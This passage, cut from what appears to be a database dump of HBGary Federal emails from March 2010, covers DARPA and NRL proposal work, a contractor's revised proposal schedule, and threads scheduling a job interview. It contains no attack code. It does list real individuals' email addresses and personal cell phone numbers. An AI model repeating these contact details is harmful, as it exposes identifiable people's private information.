DARPA','\r\n\r\n\r\n\r\n\r\nHi Aaron -\r\n&nbsp;\r\nJust wanted to see if there is anything you needed to help with NRL or DARPA.&nbsp;&nbsp; I know your swamped but let me know if you need any help.\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Tue 3/2/2010 8:42 AMTo: Mankin, MarkSubject: Re: NRL &amp; DARPA\r\nHey Mark, \r\n\r\nThanks. &nbsp;Not at the moment. &nbsp;I have a good amount of literature that will help at the moment and a good understanding of the integration potential.\r\n\r\nHere is status. &nbsp;We are writing statements of work today for the DARPA effort. &nbsp;I am slammed with it right now. &nbsp;This week I am focusing on getting most of the DARPA content done, since it is a full proposal effort. &nbsp;Next week most of the technical material should be written so I can focus on pulling some of that content out and writing the whitepaper for NRL. &nbsp;Its a lot... divide and conquer. &nbsp;If you see Van Putte tell him a few extra weeks would have been nice... ;)\r\n\r\nAs I get the SOW written I will have a better idea what I might need.\r\n\r\nAaron\r\n\r\n\r\nOn Mar 2, 2010, at 8:32 AM, Mankin, Mark wrote:\r\n\r\n\r\n\r\nAaron -\r\n&nbsp;\r\nI will be at DARPA today.&nbsp;&nbsp; Is there any action items that you and David discussed&nbsp;between Fidelis &amp; HB Gary on these efforts?\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Mankin, MarkSent: Fri 2/26/2010 7:07 AMTo: aaron@hbgary.comSubject: NRL &amp; DARPA\r\n\r\nAaron -\r\n&nbsp;\r\nIt was a pleasure meeting you, yesterday.&nbsp;&nbsp;&nbsp; Let me know if you want to get together next week to discuss the NRL and DARPA RFP\'s you mentioned.\r\n&nbsp;\r\nHave a great weekend!\r\n&nbsp;\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',14385,'aaron_hbgary_com/14385.html'),(3901,'2010-03-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002043.M77570P3547Q3899.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Sanitized and Sealed Proposal Due Date Reminder - Cyber Genome','Hello Cindy,\r\n\r\nAttached is updated pricing which incorporates feedback received by\r\nAaron Barr today during the conference call.  Will you be sending out\r\na revised schedule due to the slip to the proposal due date?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Wed, Mar 10, 2010 at 9:51 AM, Larson, Cindy S.\r\n wrote:\r\n> Hello Team,\r\n>\r\n> Just a reminder that your final sanitized cost volume is to be emailed to me\r\n> and Ryan Vela today; be sure your proposal cover letter is included and all\r\n> elements of the RFP and Attachment 1 are addressed.  The exception to this\r\n> is that your comments to the GDAIS Subcontract and terms/conditions can be\r\n> sent to me by mid next week.\r\n>\r\n> Your final \"unsanitized/sealed\" cost volume is to be received by Ryan Vela\r\n> at the address noted in RFP Attachment 1, Item 1, second bullet by COB\r\n> Eastern time on 3/12.\r\n>\r\n> Thanks,\r\n> Cindy\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4576,'aaron_hbgary_com/4576.html'),(3902,'2010-03-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002043.M829468P3547Q3902.eml','\"Chris Hummel\" <chris_hummel@hotmail.com>','Re: Introductions','Any chance you could be available this afternoon?From my iPhoneOn Mar 9, 2010, at 9:51 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\nNo problem, I understand.  Mornings (8-11) are looking good for the rest of the week.\r\n \r\nThanks,\r\nChris \r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Tue, 9 Mar 2010 09:19:52 -0500To: chris_hummel@hotmail.com\r\nThanks.  Sorry Chris.  I have been consumed with this DARPA proposal.  Let me check schedules to see if we can get something set up this week.\r\n\r\nAaron\r\n\r\nOn Mar 7, 2010, at 12:38 PM, Chris Hummel wrote:\r\n\r\nHi Aaron, I wanted to follow up with you from the other week regarding the technical interview.  This week is shaping up to be fairly busy but I&#39;m sure I can carve out some time to speak with your RE expert.\r\n Thanks,Chris \r\n\r\nFrom: aaron@hbgary.comDate: Mon, 22 Feb 2010 17:49:52 -0500Subject: Re: IntroductionsTo: chris_hummel@hotmail.com\r\n\r\nSounds good.\r\nCan you call me at 719.510.8478 at 3pm?\r\n\r\nAaronFrom my iPhone\r\nOn Feb 22, 2010, at 5:46 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\nAaron, I live north of Baltimore and work primarily out of my home office so our first conversation will need to be via the phone.  I actually ask this of everyone for the first meeting so we can both guage the level of interest.  Sorry for any confusion.\r\n Thanks,Chris \r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Mon, 22 Feb 2010 15:46:35 -0500\r\nTo: chris_hummel@hotmail.comWhere do you want to meet?  Is the Tysons area ok?  Is 3pm good?\r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 7:00 PM, Chris Hummel wrote:\r\n\r\nSounds good - I&#39;ll block off some time in the afternoon as the morning has already filled up. Thanks,Chris\r\n\r\nFrom: aaron@hbgary.comSubject: Re: Introductions\r\nDate: Wed, 17 Feb 2010 13:34:46 -0500To: chris_hummel@hotmail.com\r\nok lets shoot for Friday next week.\r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:\r\n\r\nHi Aaron, I don&#39;t work directly for Mark or Chris, but I do engage with various people in their organization.  I&#39;ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.  I look forward to talking to you as well.\r\n Thanks,Chris &gt; From: aaron@hbgary.com\r\n&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To: chris_hummel@hotmail.com\r\n&gt; &gt; Hi Chris,&gt; &gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?\r\n&gt; &gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.\r\n&gt; &gt; Look forward to talking with you.&gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.\r\n&gt; &gt; &gt; \r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Trusted email with powerful SPAM protection. Sign up now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n 		 	   		  Your E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now.\r\n\r\n',7060,'aaron_hbgary_com/7060.html'),(3903,'2010-03-11','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002044.M452172P3547Q3904.eml','\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Ebbe Reker\" <Ebbe@avi.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Colleen Ferguson\" <colleen.ferguson@sri.com>,\"Phil Porras\" <porras@csl.sri.com>,don.sanders@pikewerks.com,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Jim Fong\" <jimfong@berkeley.edu>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Anna Lau\" <annalau@berkeley.edu>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Ebbe Reker\" <Ebbe@avi.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','FW: DCG Amended Proposal Schedule','\r\n\r\n\r\n\r\n\r\nFW: DCG Amended Proposal Schedule\r\n\r\n\r\n\r\n\r\n\r\nHello Team,\r\n\r\n\r\nAs a result of DARPA extending the propsal due date, my original RFP is amended as follows:\r\n\r\n\r\nWed, March 10 &#8211; Initial Pricing Due (discussed during daily telecon)\r\n\r\nThu, March 11 - Initial Technical Writeup Due\r\n\r\nFri, March 12 - Pink Team Review (feedback will be sent to subs after the review)\r\n\r\nTue, March 16 - Final Sanitized Pricing Due\r\n\r\nThu, March 18 - Final Technical Writeups Due\r\n\r\nMon, March 22 - Red Team Review (feedback will be sent to the subs after the review)\r\n\r\nThu, March 25 - Sealed and Unsanitized Proposals (2) and CDs (2)\r\n\r\nMon, March 29 - Deliver Proposal to DARPA\r\n\r\n&nbsp;\r\n\r\nPlease refer to GDAIS RFP, Attachment 1 for delivery point of contacts and process.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n\r\nCindy Larson\r\n\r\nSr. Lead Specialist, Contracts \r\n\r\n\r\n\r\n',14514,'aaron_hbgary_com/14514.html'),(3904,'2010-03-11','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002044.M61435P3547Q3903.eml','\"Aaron Barr\" <aaron@hbgary.com>','Let\'s talk NIOC','\r\n\r\n\r\n\r\n\r\nLet\'s talk NIOC\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',15098,'aaron_hbgary_com/15098.html'),(3905,'2010-03-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002044.M657483P3547Q3905.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Let\'s talk NIOC','I am on road if want to callFrom my iPhoneOn Mar 11, 2010, at 9:40 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',16368,'aaron_hbgary_com/16368.html'),(3906,'2010-03-11','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297002044.M855724P3547Q3906.eml','aaron@hbgary.com','RE: Introductions','\r\n\r\n\r\n\r\n\r\nAaron - I have a window between 3-4p today.\r\n&nbsp;\r\n-Chris&nbsp;\r\n\r\nFrom: aaron@hbgary.comDate: Thu, 11 Mar 2010 09:16:45 -0500Subject: Re: IntroductionsTo: chris_hummel@hotmail.com\r\nAny chance you could be available this afternoon?From my iPhone\r\nOn Mar 9, 2010, at 9:51 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\nNo problem, I understand.&nbsp; Mornings (8-11) are looking good for the rest of the week.&nbsp;Thanks,Chris&nbsp;\r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Tue, 9 Mar 2010 09:19:52 -0500To: chris_hummel@hotmail.comThanks. &nbsp;Sorry Chris. &nbsp;I have been consumed with this DARPA proposal. &nbsp;Let me check schedules to see if we can get something set up this week. \r\n\r\nAaron\r\n\r\nOn Mar 7, 2010, at 12:38 PM, Chris Hummel wrote:\r\n\r\nHi Aaron,&nbsp;I wanted to follow up with you from the other week regarding the technical interview.&nbsp; This week is shaping up to be fairly busy but I\'m sure I can carve out some time to speak with your RE expert.&nbsp;Thanks,Chris&nbsp;\r\n\r\nFrom:&nbsp;aaron@hbgary.comDate: Mon, 22 Feb 2010 17:49:52 -0500Subject: Re: IntroductionsTo:&nbsp;chris_hummel@hotmail.com\r\nSounds good.\r\nCan you call me at 719.510.8478 at 3pm?\r\n\r\nAaronFrom my iPhone\r\nOn Feb 22, 2010, at 5:46 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\nAaron,&nbsp;I live north of Baltimore and work primarily out of my home office so our first conversation will need to be via the phone.&nbsp; I actually ask this of everyone for the first meeting so we can both guage the level of interest.&nbsp; Sorry for any confusion.&nbsp;Thanks,Chris&nbsp;\r\n\r\nFrom:&nbsp;aaron@hbgary.comSubject: Re: IntroductionsDate: Mon, 22 Feb 2010 15:46:35 -0500To:&nbsp;chris_hummel@hotmail.comWhere do you want to meet? &nbsp;Is the Tysons area ok? &nbsp;Is 3pm good? \r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 7:00 PM, Chris Hummel wrote:\r\n\r\nSounds good - I\'ll block off some time in the afternoon as the morning has already filled up.&nbsp;Thanks,Chris\r\n\r\nFrom:&nbsp;aaron@hbgary.comSubject: Re: IntroductionsDate: Wed, 17 Feb 2010 13:34:46 -0500To:&nbsp;chris_hummel@hotmail.comok lets shoot for Friday next week. \r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:\r\n\r\nHi Aaron,&nbsp;I don\'t work directly for Mark or Chris, but I do engage with various people in their organization.&nbsp; I\'ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.&nbsp; I look forward to talking to you as well.&nbsp;Thanks,Chris&nbsp;&gt; From:&nbsp;aaron@hbgary.com&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To:&nbsp;chris_hummel@hotmail.com&gt;&nbsp;&gt; Hi Chris,&gt;&nbsp;&gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?&gt;&nbsp;&gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.&gt;&nbsp;&gt; Look forward to talking with you.&gt;&nbsp;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&nbsp;&gt;&nbsp;&gt;&nbsp;\r\n\r\nHotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Trusted email with powerful SPAM protection.&nbsp;Sign up now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\n\r\nHotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nYour E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now.  		 	   		  Hotmail: Powerful Free email with security by Microsoft. Get it now.\r\n',3940,'aaron_hbgary_com/3940.html'),(3907,'2010-03-11','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002048.M676306P3547Q3907.eml','\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Ebbe Reker\" <Ebbe@avi.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Colleen Ferguson\" <colleen.ferguson@sri.com>,\"Phil Porras\" <porras@csl.sri.com>,don.sanders@pikewerks.com,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Jim Fong\" <jimfong@berkeley.edu>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Anna Lau\" <annalau@berkeley.edu>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Ebbe Reker\" <Ebbe@avi.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','RE: DCG Amended Proposal Schedule','\r\n\r\n\r\n\r\n\r\nRE: DCG Amended Proposal Schedule\r\n\r\n\r\n\r\n\r\nHello Team,\r\n\r\n\r\nAlso, be advised that the RFP is revised as follows:\r\n\r\n\r\n(1) The anticipated subcontract start date is changed from 01 June 2010 to 01 July 2010.\r\n\r\n(2)&nbsp; Your proposal is requested to be valid through 31 July 2010 instead of 15 July 2010 (in the event additional time is required for signatures.)\r\n\r\nThank you.\r\n\r\n\r\nCindy Larson\r\n\r\nSr. Lead Specialist, Contracts\r\n\r\n\r\n\r\n\r\n\r\n_____________________________________________ \r\n\r\nFrom: &nbsp; Larson, Cindy S.&nbsp; \r\n\r\nSent:&nbsp;&nbsp; Thursday, March 11, 2010 7:40 AM\r\n\r\nTo:&nbsp;&nbsp;&nbsp;&nbsp; Brianne O\'Brien; Ebbe Reker; \'Anita D\'Amico\'; \'Ted Vera\'; \'Aaron Barr\'; \'Colleen Ferguson\'; Phil Porras; \'don.sanders@pikewerks.com\'; \'Adam Fraser\'; Jim Fong; \'Dawn Song\'; \'Anna Lau\'\r\n\r\nCc:&nbsp;&nbsp;&nbsp;&nbsp; Vela, Ryan; Harlow, Douglas M.; Brunelli, Rex\r\n\r\nSubject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FW: DCG Amended Proposal Schedule\r\n\r\nImportance:&nbsp;&nbsp;&nbsp;&nbsp; High\r\n\r\n\r\n\r\nHello Team,\r\n\r\n\r\nAs a result of DARPA extending the propsal due date, my original RFP is amended as follows:\r\n\r\n\r\nWed, March 10 &#8211; Initial Pricing Due (discussed during daily telecon)\r\n\r\nThu, March 11 - Initial Technical Writeup Due\r\n\r\nFri, March 12 - Pink Team Review (feedback will be sent to subs after the review)\r\n\r\nTue, March 16 - Final Sanitized Pricing Due\r\n\r\nThu, March 18 - Final Technical Writeups Due\r\n\r\nMon, March 22 - Red Team Review (feedback will be sent to the subs after the review)\r\n\r\nThu, March 25 - Sealed and Unsanitized Proposals (2) and CDs (2)\r\n\r\nMon, March 29 - Deliver Proposal to DARPA\r\n\r\n&nbsp;\r\n\r\nPlease refer to GDAIS RFP, Attachment 1 for delivery point of contacts and process.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n\r\nCindy Larson\r\n\r\nSr. Lead Specialist, Contracts \r\n\r\n\r\n\r\n',13142,'aaron_hbgary_com/13142.html'),(3908,'2010-03-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002048.M881167P3547Q3908.eml','\"Phil\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Fwd: Introductions','Can u both support a 3 or 330 phone interview?AaronFrom my iPhoneBegin forwarded message:From: Chris Hummel &lt;chris_hummel@hotmail.com&gt;\r\nDate: March 11, 2010 9:46:59 AM ESTTo: &lt;aaron@hbgary.com&gt;Subject: RE: Introductions\r\n\r\nAaron - I have a window between 3-4p today.\r\n \r\n-Chris \r\n\r\nFrom: aaron@hbgary.comDate: Thu, 11 Mar 2010 09:16:45 -0500Subject: Re: IntroductionsTo: chris_hummel@hotmail.com\r\n\r\nAny chance you could be available this afternoon?From my iPhone\r\nOn Mar 9, 2010, at 9:51 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\nNo problem, I understand.  Mornings (8-11) are looking good for the rest of the week. Thanks,Chris \r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Tue, 9 Mar 2010 09:19:52 -0500To: chris_hummel@hotmail.com\r\nThanks.  Sorry Chris.  I have been consumed with this DARPA proposal.  Let me check schedules to see if we can get something set up this week. \r\n\r\nAaron\r\n\r\nOn Mar 7, 2010, at 12:38 PM, Chris Hummel wrote:\r\n\r\nHi Aaron, I wanted to follow up with you from the other week regarding the technical interview.  This week is shaping up to be fairly busy but I&#39;m sure I can carve out some time to speak with your RE expert.\r\n Thanks,Chris \r\n\r\nFrom: aaron@hbgary.comDate: Mon, 22 Feb 2010 17:49:52 -0500\r\nSubject: Re: IntroductionsTo: chris_hummel@hotmail.com\r\n\r\nSounds good.\r\nCan you call me at 719.510.8478 at 3pm?\r\n\r\nAaronFrom my iPhone\r\nOn Feb 22, 2010, at 5:46 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\n\r\nAaron, I live north of Baltimore and work primarily out of my home office so our first conversation will need to be via the phone.  I actually ask this of everyone for the first meeting so we can both guage the level of interest.  Sorry for any confusion.\r\n Thanks,Chris \r\n\r\nFrom: aaron@hbgary.com\r\nSubject: Re: IntroductionsDate: Mon, 22 Feb 2010 15:46:35 -0500To: chris_hummel@hotmail.com\r\nWhere do you want to meet?  Is the Tysons area ok?  Is 3pm good? \r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 7:00 PM, Chris Hummel wrote:\r\n\r\nSounds good - I&#39;ll block off some time in the afternoon as the morning has already filled up. Thanks,Chris\r\n\r\nFrom: aaron@hbgary.com\r\nSubject: Re: IntroductionsDate: Wed, 17 Feb 2010 13:34:46 -0500To: chris_hummel@hotmail.com\r\nok lets shoot for Friday next week. \r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:\r\n\r\nHi Aaron, I don&#39;t work directly for Mark or Chris, but I do engage with various people in their organization.  I&#39;ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.  I look forward to talking to you as well.\r\n Thanks,Chris &gt; From: aaron@hbgary.com\r\n&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To: chris_hummel@hotmail.com\r\n&gt; &gt; Hi Chris,&gt; &gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?\r\n&gt; &gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.\r\n&gt; &gt; Look forward to talking with you.&gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.\r\n&gt; &gt; &gt; \r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Trusted email with powerful SPAM protection. Sign up now.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nYour E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now.  		 	   		  Hotmail: Powerful Free email with security by Microsoft. Get it now.\r\n\r\n',13252,'aaron_hbgary_com/13252.html'),(3909,'2010-03-11','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297002049.M120240P3547Q3909.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Introductions','Yes.On Thu, Mar 11, 2010 at 10:04 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nCan u both support a 3 or 330 phone interview?AaronFrom my iPhoneBegin forwarded message:From: Chris Hummel &lt;chris_hummel@hotmail.com&gt;\r\n\r\nDate: March 11, 2010 9:46:59 AM ESTTo: &lt;aaron@hbgary.com&gt;Subject: RE: Introductions\r\n\r\n\r\nAaron - I have a window between 3-4p today.\r\n \r\n-Chris \r\n\r\nFrom: aaron@hbgary.comDate: Thu, 11 Mar 2010 09:16:45 -0500Subject: Re: IntroductionsTo: chris_hummel@hotmail.com\r\n\r\n\r\nAny chance you could be available this afternoon?From my iPhone\r\nOn Mar 9, 2010, at 9:51 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\n\r\nNo problem, I understand.  Mornings (8-11) are looking good for the rest of the week. Thanks,Chris \r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Tue, 9 Mar 2010 09:19:52 -0500\r\nTo: chris_hummel@hotmail.com\r\nThanks.  Sorry Chris.  I have been consumed with this DARPA proposal.  Let me check schedules to see if we can get something set up this week. \r\n\r\nAaron\r\n\r\nOn Mar 7, 2010, at 12:38 PM, Chris Hummel wrote:\r\n\r\nHi Aaron, I wanted to follow up with you from the other week regarding the technical interview.  This week is shaping up to be fairly busy but I&#39;m sure I can carve out some time to speak with your RE expert.\r\n\r\n Thanks,Chris \r\n\r\nFrom: aaron@hbgary.comDate: Mon, 22 Feb 2010 17:49:52 -0500\r\n\r\nSubject: Re: IntroductionsTo: chris_hummel@hotmail.com\r\n\r\n\r\nSounds good.\r\nCan you call me at 719.510.8478 at 3pm?\r\n\r\nAaronFrom my iPhone\r\nOn Feb 22, 2010, at 5:46 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron, I live north of Baltimore and work primarily out of my home office so our first conversation will need to be via the phone.  I actually ask this of everyone for the first meeting so we can both guage the level of interest.  Sorry for any confusion.\r\n\r\n Thanks,Chris \r\n\r\nFrom: aaron@hbgary.com\r\n\r\nSubject: Re: IntroductionsDate: Mon, 22 Feb 2010 15:46:35 -0500To: chris_hummel@hotmail.com\r\n\r\nWhere do you want to meet?  Is the Tysons area ok?  Is 3pm good? \r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 7:00 PM, Chris Hummel wrote:\r\n\r\nSounds good - I&#39;ll block off some time in the afternoon as the morning has already filled up. Thanks,Chris\r\n\r\nFrom: aaron@hbgary.com\r\n\r\nSubject: Re: IntroductionsDate: Wed, 17 Feb 2010 13:34:46 -0500To: chris_hummel@hotmail.com\r\n\r\nok lets shoot for Friday next week. \r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:\r\n\r\nHi Aaron, I don&#39;t work directly for Mark or Chris, but I do engage with various people in their organization.  I&#39;ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.  I look forward to talking to you as well.\r\n\r\n Thanks,Chris &gt; From: aaron@hbgary.com\r\n\r\n&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To: chris_hummel@hotmail.com\r\n\r\n&gt; &gt; Hi Chris,&gt; &gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?\r\n&gt; &gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.\r\n\r\n&gt; &gt; Look forward to talking with you.&gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.\r\n&gt; &gt; &gt; \r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Trusted email with powerful SPAM protection. Sign up now.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nYour E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now.  		 	   		  Hotmail: Powerful Free email with security by Microsoft. Get it now.\r\n\r\n\r\n',8890,'aaron_hbgary_com/8890.html'),(3910,'2010-03-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002049.M307563P3547Q3910.eml','\"Chris Hummel\" <chris_hummel@hotmail.com>','Re: Introductions','Ok let&#39;s shoot for 3pm.  I will set up a telecon.From my iPhoneOn Mar 11, 2010, at 9:46 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\nAaron - I have a window between 3-4p today.\r\n \r\n-Chris \r\n\r\nFrom: aaron@hbgary.comDate: Thu, 11 Mar 2010 09:16:45 -0500Subject: Re: IntroductionsTo: chris_hummel@hotmail.com\r\n\r\nAny chance you could be available this afternoon?From my iPhone\r\nOn Mar 9, 2010, at 9:51 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\nNo problem, I understand.  Mornings (8-11) are looking good for the rest of the week. Thanks,Chris \r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Tue, 9 Mar 2010 09:19:52 -0500To: chris_hummel@hotmail.com\r\nThanks.  Sorry Chris.  I have been consumed with this DARPA proposal.  Let me check schedules to see if we can get something set up this week. \r\n\r\nAaron\r\n\r\nOn Mar 7, 2010, at 12:38 PM, Chris Hummel wrote:\r\n\r\nHi Aaron, I wanted to follow up with you from the other week regarding the technical interview.  This week is shaping up to be fairly busy but I&#39;m sure I can carve out some time to speak with your RE expert.\r\n Thanks,Chris \r\n\r\nFrom: aaron@hbgary.comDate: Mon, 22 Feb 2010 17:49:52 -0500\r\nSubject: Re: IntroductionsTo: chris_hummel@hotmail.com\r\n\r\nSounds good.\r\nCan you call me at 719.510.8478 at 3pm?\r\n\r\nAaronFrom my iPhone\r\nOn Feb 22, 2010, at 5:46 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\n\r\nAaron, I live north of Baltimore and work primarily out of my home office so our first conversation will need to be via the phone.  I actually ask this of everyone for the first meeting so we can both guage the level of interest.  Sorry for any confusion.\r\n Thanks,Chris \r\n\r\nFrom: aaron@hbgary.com\r\nSubject: Re: IntroductionsDate: Mon, 22 Feb 2010 15:46:35 -0500To: chris_hummel@hotmail.com\r\nWhere do you want to meet?  Is the Tysons area ok?  Is 3pm good? \r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 7:00 